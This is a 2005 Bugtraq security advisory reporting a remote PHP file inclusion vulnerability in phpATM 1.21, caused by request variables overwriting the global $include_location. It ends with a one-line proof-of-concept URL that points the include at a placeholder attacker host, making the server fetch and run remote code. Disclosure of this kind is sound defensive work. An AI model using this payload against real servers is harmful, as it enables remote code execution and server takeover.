bugtraq - phpATM arbitrary PHP code inclusion

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Message-ID: <428CD1FA.5050500@ingwie.de>
Date: Thu, 19 May 2005 19:50:50 +0200
From: Ingvar Gilbert <bugtraq@...wie.de>
To: bugtraq@...urityfocus.com
Subject: phpATM arbitrary PHP code inclusion

Affected product: phpATM
Version vulnerable: 1.21, and probably earlier.
Risk: High, execution of arbitrary PHP
Vendor informed: Not possible (mail bounces with 550, tried twice)
Vendor URL: http://phpatm.free.fr/

phpATM seems to be some up-/downloadscript for web environments. The
discussed vulnerability was found exploited in the wild.

phpATM allows the execution of arbitrary PHP code via remote includes,
when allow_url_fopen is set. The global variable $include_location ist
used with include(), and can be used by attackers to run any code with
the privileges of the web user.

The security flaw is located in `include/common.php', near line 91,
where content from the superglobal arrays is moved into global context.
This can be used to overwrite the earlier defined global
$include_location. Bulk-copying stuff into global context is a very bad
idea, as this can easily be abused to overwrite security related variables.

PoC: http://victim/index.php?include_location=http://attacker/

Regards,
Ingvar